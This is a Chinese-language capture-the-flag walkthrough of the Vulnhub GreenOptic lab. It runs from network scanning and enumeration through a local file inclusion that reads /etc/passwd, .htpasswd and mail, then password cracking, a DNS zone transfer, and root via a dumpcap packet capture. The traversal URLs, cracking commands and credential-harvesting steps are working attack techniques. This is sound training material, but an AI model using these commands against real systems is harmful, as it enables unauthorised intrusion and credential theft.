GreenOptics
识别目标主机IP地址
- ─(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
- Currently scanning: Finished! | Screen View: Unique Hosts
-
- 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
- _____________________________________________________________________________
- IP At MAC Address Count Len MAC Vendor / Hostname
- -----------------------------------------------------------------------------
- 192.168.56.1 0a:00:27:00:00:05 1 60 Unknown vendor
- 192.168.56.100 08:00:27:2b:10:e6 1 60 PCS Systemtechnik GmbH
- 192.168.56.254 08:00:27:31:b2:9c 1 60 PCS Systemtechnik GmbH
复制代码 利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254
NMAP扫描
- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
- Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-28 20:25 EDT
- Nmap scan report for inplainsight (192.168.56.254)
- Host is up (0.00039s latency).
- Not shown: 65377 filtered tcp ports (no-response), 153 filtered tcp ports (host-prohibited)
- PORT STATE SERVICE VERSION
- 21/tcp open ftp vsftpd 3.0.2
- 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
- | ssh-hostkey:
- | 2048 462032edf07411edfda7a417abf6f021 (RSA)
- | 256 b6fb6410390ef9be8b5ad0d2413e6768 (ECDSA)
- |_ 256 24270bc9355f277e1a8273e069cc0f96 (ED25519)
- 53/tcp open domain ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
- | dns-nsid:
- |_ bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6
- 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
- | http-methods:
- |_ Potentially risky methods: TRACE
- |_http-title: GreenOptic
- |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
- 10000/tcp open http MiniServ 1.953 (Webmin httpd)
- |_http-title: Site doesn't have a title (text/html; Charset=utf-8).
- |_http-server-header: MiniServ/1.953
- MAC Address: 08:00:27:31:B2:9C (Oracle VirtualBox virtual NIC)
- Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 184.73 seconds
复制代码 NMAP扫描结果表明目标主机有5个开放端口:21(ftp)、22(ssh)、53(dns)、80(http)、10000(http)
获得Shell
- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ curl http://192.168.56.254:10000/
- <h1>Error - Document follows</h1>
- <p>This web server is running in SSL mode. Try the URL <a target="_blank" href='https://websrv01.greenoptic.vm:10000/'>https://websrv01.greenoptic.vm:10000/</a> instead.</p>
复制代码 说明需要添加主机记录到/etc/hosts文件:- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ sudo vim /etc/hosts
- [sudo] password for kali:
-
- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ cat /etc/hosts
- 127.0.0.1 localhost
- 127.0.1.1 kali
- ::1 localhost ip6-localhost ip6-loopback
- ff02::1 ip6-allnodes
- ff02::2 ip6-allrouters
- 192.168.56.254 websrv01.greenoptic.vm
复制代码 再次访问:- https://websrv01.greenoptic.vm:10000/
复制代码 返回页面为用户登录界面,10000端口的信息收集暂时告一段落。- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ nikto -h http://192.168.56.254
- - Nikto v2.1.6
- ---------------------------------------------------------------------------
- + Target IP: 192.168.56.254
- + Target Hostname: 192.168.56.254
- + Target Port: 80
- + Start Time: 2023-04-28 20:35:07 (GMT-4)
- ---------------------------------------------------------------------------
- + Server: Apache/2.4.6 (CentOS) PHP/5.4.16
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
- + Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
- + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
- + Retrieved x-powered-by header: PHP/5.4.16
- + OSVDB-3268: /css/: Directory indexing found.
- + OSVDB-3092: /css/: This might be interesting...
- + OSVDB-3268: /img/: Directory indexing found.
- + OSVDB-3092: /img/: This might be interesting...
- + OSVDB-3268: /icons/: Directory indexing found.
- + OSVDB-3092: /LICENSE.txt: License file found may identify site software.
- + OSVDB-3233: /icons/README: Apache default file found.
- + 8724 requests: 0 error(s) and 15 item(s) reported on remote host
- + End Time: 2023-04-28 20:36:00 (GMT-4) (53 seconds)
- ---------------------------------------------------------------------------
- + 1 host(s) tested
复制代码 nikto没有得到80端口有价值的信息。- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
- ===============================================================
- Gobuster v3.3
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://192.168.56.254
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.3
- [+] Extensions: txt,sh,php,js,html
- [+] Timeout: 10s
- ===============================================================
- 2023/04/28 20:39:13 Starting gobuster in directory enumeration mode
- ===============================================================
- /index.html (Status: 200) [Size: 17119]
- /.html (Status: 403) [Size: 207]
- /img (Status: 301) [Size: 234] [--> http://192.168.56.254/img/]
- /account (Status: 301) [Size: 238] [--> http://192.168.56.254/account/]
- /css (Status: 301) [Size: 234] [--> http://192.168.56.254/css/]
- /js (Status: 301) [Size: 233] [--> http://192.168.56.254/js/]
- /LICENSE.txt (Status: 200) [Size: 17128]
- /statement.html (Status: 200) [Size: 6687]
- /.html (Status: 403) [Size: 207]
- Progress: 1321725 / 1323366 (99.88%)===============================================================
- 2023/04/28 20:41:18 Finished
- ===============================================================
-
复制代码 访问/account,返回是另一个用户登录。- http://192.168.56.254/account/index.php?include=cookiewarning
复制代码 但是注意到URL,此处可能存在本地文件包含漏洞。- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ curl http://192.168.56.254/account/index.php?include=../../../../etc/passwd
- <!DOCTYPE html>
- <html lang="en">
- root:x:0:0:root:/root:/bin/bash
- bin:x:1:1:bin:/bin:/sbin/nologin
- daemon:x:2:2:daemon:/sbin:/sbin/nologin
- adm:x:3:4:adm:/var/adm:/sbin/nologin
- lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
- sync:x:5:0:sync:/sbin:/bin/sync
- shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
- halt:x:7:0:halt:/sbin:/sbin/halt
- mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
- operator:x:11:0:operator:/root:/sbin/nologin
- games:x:12:100:games:/usr/games:/sbin/nologin
- ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
- nobody:x:99:99:Nobody:/:/sbin/nologin
- systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
- dbus:x:81:81:System message bus:/:/sbin/nologin
- polkitd:x:999:998:User for polkitd:/:/sbin/nologin
- sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
- postfix:x:89:89::/var/spool/postfix:/sbin/nologin
- chrony:x:998:996::/var/lib/chrony:/sbin/nologin
- apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
- mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
- tcpdump:x:72:72::/:/sbin/nologin
- sam:x:1000:1000::/home/sam:/bin/bash
- terry:x:1001:1001::/home/terry:/bin/bash
- named:x:25:25:Named:/var/named:/sbin/nologin
- alex:x:1002:1002::/home/alex:/bin/bash
- dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
- dovenull:x:997:993:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
- monitor:x:1003:1003::/home/monitor:/bin/bash
- saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
- </body>
- </html>
复制代码 经过测试,目标页面确实存在本地文件包含漏洞,那接下来的任务就是如何利用该漏洞获得shell了
在Kali Linux上本地启动http.server(可以任意创建一个文本文件用于测试),然后访问以下URL:- http://192.168.56.254/account/index.php?include=http://192.168.56.206:8000/test.txt
复制代码 从结果来看目标主机不存在远程文件包含漏洞,接下来看是否可以获取用户SSH私钥文件。
逐一测试各个用户(sam, terry, alex, monitor)家目录下/.ssh/id_rsa文件是否存在,如:- http://192.168.56.254/account/index.php?include=../../../../home/monitor/.ssh/id_rsa
复制代码 经过测试没有获取任何SSH私钥文件。
接下来看是否可以破解这些用户的FTP密码
将所有普通用户生成用户字典:- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ cat user.dict
- sam
- terry
- alex
- monitor
复制代码- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ hydra -L user.dict -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.254 -f
- Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
- Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-28 21:56:28
- [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
- [DATA] max 16 tasks per 1 server, overall 16 tasks, 57377596 login tries (l:4/p:14344399), ~3586100 tries per task
- [DATA] attacking ftp://192.168.56.254:21/
复制代码 没有破解出密码。
因为作者给出明显的提示,域名是websrv01.greenoptic.vm,除了websrv01有其他子域名- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ dig @192.168.56.254 greenoptic.vm axfr
- ; <<>> DiG 9.18.8-1-Debian <<>> @192.168.56.254 greenoptic.vm axfr
- ; (1 server found)
- ;; global options: +cmd
- greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
- greenoptic.vm. 3600 IN NS ns1.greenoptic.vm.
- ns1.greenoptic.vm. 3600 IN A 127.0.0.1
- recoveryplan.greenoptic.vm. 3600 IN A 127.0.0.1
- websrv01.greenoptic.vm. 3600 IN A 127.0.0.1
- greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
- ;; Query time: 4 msec
- ;; SERVER: 192.168.56.254#53(192.168.56.254) (TCP)
- ;; WHEN: Fri Apr 28 22:12:31 EDT 2023
- ;; XFR size: 6 records (messages 1, bytes 235)
复制代码 利用dig工具发现了recoveryplan子域名,将该子域名添加到/etc/hosts文件中:- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ sudo vim /etc/hosts
- [sudo] password for kali:
-
- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ cat /etc/hosts
- 127.0.0.1 localhost
- 127.0.1.1 kali
- ::1 localhost ip6-localhost ip6-loopback
- ff02::1 ip6-allnodes
- ff02::2 ip6-allrouters
- 192.168.56.254 websrv01.greenoptic.vm
- 192.168.56.254 recoveryplan.greenoptic.vm
复制代码 访问该子域名,需要网页基本认证,尝试一些弱口令失败,因为基本认证的用户名和密码存在.htpasswd文件中,看能否获取该文件内容- (kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ curl http://192.168.56.254/account/index.php?include=../../../../../var/www/.htpasswdstaff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.
- </body>
- </html>
复制代码 将密码破解:- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
- Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
- Use the "--format=md5crypt-long" option to force loading these as that type instead
- Using default input encoding: UTF-8
- Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
- Will run 2 OpenMP threads
- Press 'q' or Ctrl-C to abort, almost any other key for status
- wheeler (?)
- 1g 0:00:00:00 DONE (2023-04-29 04:29) 9.090g/s 120436p/s 120436c/s 120436C/s guess1..lorena1
- Use the "--show" option to display all of the cracked passwords reliably
- Session completed.
复制代码 用上述用户名和密码访问
<img alt="" loading="lazy">
该帖子中有一个dpi.zip文件,将其下载到Kali Linux本地,而且提到:have e-mailed you the password,因此再用前面的本地文件包含漏洞读取邮件(发给sam的邮件):- http://192.168.56.254/account/index.php?include=../../../../../var/mail/sam
复制代码- From terry@greenoptic.vm Sun Jul 12 16:13:45 2020
- Return-Path: <terry@greenoptic.vm>
- X-Original-To: sam
- Delivered-To: sam@websrv01.greenoptic.vm
- Received: from localhost (localhost [IPv6:::1])
- by websrv01.greenoptic.vm (Postfix) with ESMTP id A8D371090085
- for <sam>; Sun, 12 Jul 2020 16:13:18 +0100 (BST)
- Message-Id: <20200712151322.A8D371090085@websrv01.greenoptic.vm>
- Date: Sun, 12 Jul 2020 16:13:18 +0100 (BST)
- From: terry@greenoptic.vm
- Hi Sam, per the team message, the password is HelloSunshine123
复制代码- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ unzip dpi.zip
- Archive: dpi.zip
- [dpi.zip] dpi.pcap password:
- inflating: dpi.pcap
-
- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ ls -alh
- total 148M
- drwxr-xr-x 2 kali kali 4.0K Apr 29 04:36 .
- drwxr-xr-x 121 kali kali 4.0K Apr 28 20:24 ..
- -rw-r--r-- 1 kali kali 332K Jul 12 2020 dpi.pcap
- -rw-r--r-- 1 kali kali 71K Apr 29 04:35 dpi.zip
- -rw-r--r-- 1 kali kali 38 Apr 29 04:29 hash
- -rw-r--r-- 1 kali kali 148M Apr 28 22:10 hydra.restore
- -rw-r--r-- 1 root root 1.4K Apr 28 20:28 nmap_full_scan
- -rw-r--r-- 1 kali kali 12 Apr 28 21:10 test.txt
- -rw-r--r-- 1 kali kali 23 Apr 28 21:16 user.dict
复制代码 用上面本地文件包含漏洞读取到的密码解压缩dpi.zip文件,得到dpi.pcap
利用wireshark工具打开pcap文件,可以看到ftp的用户名和密码:
<img alt="" loading="lazy">
用户名:alex
密码: FwejAASD1
登录FTP服务:- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ ftp 192.168.56.254
- Connected to 192.168.56.254.
- 220 (vsFTPd 3.0.2)
- Name (192.168.56.254:kali): alex
- 331 Please specify the password.
- Password:
- 230 Login successful.
- Remote system type is UNIX.
- Using binary mode to transfer files.
- ftp> ls -alh
- 229 Entering Extended Passive Mode (|||28596|).
- ftp: Can't connect to `192.168.56.254:28596': No route to host
- 200 EPRT command successful. Consider using EPSV.
- 150 Here comes the directory listing.
- drwx------ 3 1002 1002 136 Jul 12 2020 .
- drwxr-xr-x 6 0 0 57 Jul 12 2020 ..
- -rw------- 1 1002 1002 100 Jul 12 2020 .Xauthority
- lrwxrwxrwx 1 0 0 9 Jul 12 2020 .bash_history -> /dev/null
- -rw-r--r-- 1 1002 1002 18 Apr 01 2020 .bash_logout
- -rw-r--r-- 1 1002 1002 193 Apr 01 2020 .bash_profile
- -rw-r--r-- 1 1002 1002 231 Apr 01 2020 .bashrc
- drwxr-xr-x 2 1002 1002 41 Jul 12 2020 .wireshark
- -rwx------ 1 1002 1002 70 Jul 12 2020 user.txt
- 226 Directory send OK.
- ftp> get user.txt
- local: user.txt remote: user.txt
- 200 EPRT command successful. Consider using EPSV.
- 150 Opening BINARY mode data connection for user.txt (70 bytes).
- 100% |*********************************************************************************| 70 77.50 KiB/s 00:00 ETA
- 226 Transfer complete.
- 70 bytes received in 00:00 (54.73 KiB/s)
- ftp> pwd
- Remote directory: /home/alex
复制代码 用相同的用户名和密码登录SSH:- ──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ ssh alex@192.168.56.254
- The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
- ED25519 key fingerprint is SHA256:FkUejrDoIcwfG8KzsYAElBrX2BbWcAHiVWnR8k0k0Kk.
- This key is not known by any other names.
- Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
- Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
- alex@192.168.56.254's password:
- [alex@websrv01 ~]$ ls -alh
- total 20K
- drwx------. 3 alex alex 136 Jul 12 2020 .
- drwxr-xr-x. 6 root root 57 Jul 12 2020 ..
- lrwxrwxrwx. 1 root root 9 Jul 12 2020 .bash_history -> /dev/null
- -rw-r--r--. 1 alex alex 18 Apr 1 2020 .bash_logout
- -rw-r--r--. 1 alex alex 193 Apr 1 2020 .bash_profile
- -rw-r--r--. 1 alex alex 231 Apr 1 2020 .bashrc
- -rwx------. 1 alex alex 70 Jul 12 2020 user.txt
- drwxr-xr-x. 2 alex alex 41 Jul 12 2020 .wireshark
- -rw-------. 1 alex alex 100 Jul 12 2020 .Xauthority
- [alex@websrv01 ~]$ cd ..
- [alex@websrv01 home]$ ls -alh
- total 0
- drwxr-xr-x. 6 root root 57 Jul 12 2020 .
- dr-xr-xr-x. 17 root root 244 Jul 13 2020 ..
- drwx------. 3 alex alex 136 Jul 12 2020 alex
- drwx------. 2 monitor monitor 62 Jul 12 2020 monitor
- drwx------. 2 sam sam 62 Jul 12 2020 sam
- drwx------. 2 terry terry 83 Jul 12 2020 terry
- [alex@websrv01 home]$
复制代码 提权
- [alex@websrv01 home]$ id
- uid=1002(alex) gid=1002(alex) groups=1002(alex),994(wireshark)
复制代码 发现id隶属于wireshark组,这样alex可以运行wireshark命令行工具dumpcap,即
用dumpcap工具抓包,抓本地环回接口的包,然后将其下载到Kali LInux本地,
利用wireshar k打开:- AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=
复制代码 将其base64解码:- ┌──(kali㉿kali)-[~/Vulnhub/GreenOptic]
- └─$ echo 'AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=' | base64 -d
- rootASfojoj2eozxczzmedlmedASASDKoj3o
复制代码 root密码为ASfojoj2eozxczzmedlmedASASDKoj3o:- [root@websrv01 ~]# ls -alh
- total 60K
- dr-xr-x---. 5 root root 4.0K Jul 13 2020 .
- dr-xr-xr-x. 17 root root 244 Jul 13 2020 ..
- -rw-------. 1 root root 1.3K Jul 12 2020 anaconda-ks.cfg
- lrwxrwxrwx. 1 root root 9 Jul 12 2020 .bash_history -> /dev/null
- -rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout
- -rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile
- -rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc
- -rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc
- drwx------. 2 root root 99 Jul 12 2020 .gnupg
- -rw-------. 1 root root 45 Jul 12 2020 .lesshst
- -rw-r--r--. 1 root root 32 Jul 12 2020 .monit.id
- -rw-------. 1 root root 800 Apr 29 03:22 .monit.state
- drwxr-----. 3 root root 19 Jul 12 2020 .pki
- -rw-------. 1 root root 1.0K Jul 12 2020 .rnd
- -rwx------. 1 root root 837 Jul 12 2020 root.txt
- -rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc
- -rw------- 1 root root 5.7K Jul 13 2020 .viminfo
- drwxr-xr-x. 2 root root 41 Jul 12 2020 .wireshark
- -rw-------. 1 root root 50 Jul 12 2020 .Xauthority
- [root@websrv01 ~]# cat root.txt
- Congratulations on getting root!
- ____ ___ _ _
- / ___|_ __ ___ ___ _ __ / _ \ _ __ | |_(_) ___
- | | _| '__/ _ \/ _ \ '_ \| | | | '_ \| __| |/ __|
- | |_| | | | __/ __/ | | | |_| | |_) | |_| | (__
- \____|_| \___|\___|_| |_|\___/| .__/ \__|_|\___|
- |_|
-
- You've overcome a series of difficult challenges, so well done!
- I'm happy to make my CTFs available for free. If you enjoyed doing the CTF, please leave a comment on my blog at https://security.caerdydd.wales - I will be happy for your feedback so I can improve them and make them more enjoyable in the future.
- *********
- Kindly place your vote on the poll located here to let me know how difficult you found it: https://security.caerdydd.wales/greenoptic-ctf/
- *********
- Thanks,
- bootlesshacker
- [root@websrv01 ~]#
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |